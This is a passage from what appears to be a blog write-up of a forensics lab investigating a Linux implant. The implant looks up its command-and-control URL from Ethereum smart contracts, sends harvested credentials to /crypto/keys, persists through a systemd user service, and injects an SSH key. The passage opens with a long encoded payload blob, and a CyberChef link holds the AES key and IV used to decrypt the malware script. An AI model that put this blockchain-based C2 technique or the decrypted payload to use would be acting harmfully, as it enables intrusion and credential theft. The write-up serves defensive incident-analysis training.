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
&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=2HVnlpRxwJyMF00X9WjlSl5z2G+Bpw0N90eJAklG2YveAtBgNWCP6GOUG5tMf0qC4QiS9LdABqIpfrDRxZyyc8wjSzp3YQVDL0T2o6f/y7/VBKF10/v6u3RAgEYAObKgd4bsNsLfi1CAwCtacleJFHWgFCsKdkKhhj/D40/jNpgPxddNyBS86/choJy4lMj/Mwf2hlqinCQdnbFAy2x0kK2qTfJ2dr9/Sp9Q2FPBsJX7tEAuDA4BDrN7rw5UCf5tjDmKt56Fvzv6iqriqogRUeKL8+T1Y2ET4bpQ4ps1wlvj31+BUhTy/EsXZn6o652D73WLaoVD/t/COGOr5q+5vyf2dytZ+FRMmiIvm+lnW9C2QYsLqbdq6sQEdhSnxvnoS4TNHj36Our2I/IqxYmpBDAsbFnr+KIp5rtSPRFRx5AlyNmmm0E4p+oYtYLGmQeNQMSdFY51kAadjh4HsMP7xGZaoQzG9WtGb79/8/HHc8lSpZV/bbyT4bSwkosZ1eFeeSHKhVOs57P8BDq0iqpMr8FavNeOQN5TSNR0bpzizwGR48hcDvjtqWerwGBXY6F54alS8bzuT9ApKrEKXDRK1xat3CdDBCo7cHltksoxuWrLtNtZ+QydA2rnOYXxS11BF34iyX7YJPy+SV7hcjoYrvcuLZ4IJcTiZDPcLM6kA3KzNltr7UCoAv5vuXvrY9bekWZYE8Gwn05bPqSG9fXolf8kKLqWMNGR5PKc0bDcKdGUxJOs/iYFX1WxoKe8dVK0DMxY9YYBvs7fwr7awSXzNrrP3I1o5YGDfgO2AuS5z+89oqfFHReHV7flV/IrIh55qW0MZZeFInniM57/0wejPDZMNlFdzWzNmLdmdU/EfXSW7HE0flID2JineO04RdIM8m4bGMzjTXrE7